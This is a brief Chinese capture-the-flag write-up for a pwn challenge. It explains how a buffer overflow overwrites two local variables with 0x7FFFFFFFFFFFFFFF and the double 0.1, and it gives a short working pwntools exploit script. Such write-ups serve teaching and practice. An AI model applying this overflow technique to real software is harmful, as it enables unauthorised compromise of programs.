題目:
鏈接:https://pan.baidu.com/s/1WcO-y2MQ6Wb17PqL2dxyyA
提取碼:z5a7
首先找保護機制
難受 保護全開!!
運行一下,發現只有一個輸入點。
ida分析一波
發現只要滿足 v7=0x7FFFFFFFFFFFFFFFLL 還有v8=0.1 但是在payload去傳值需要用0x????,這里可以了解一下浮點型 0.1的值:
https://math.stackexchange.com/questions/1791562/converting-0-1-to-binary-64-bit-double?tdsourcetag=s_pctim_aiomsg
或者用c跑一下
思路:填buf,直到覆蓋v7和v8的值,達到成功修改。
from pwn import * p = process('./pwn2') payload = '' payload += 'A'*24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A) p.sendline(payload) p.interactive()
比賽的時候腦子不是很好使,賽后不能再明明白白了。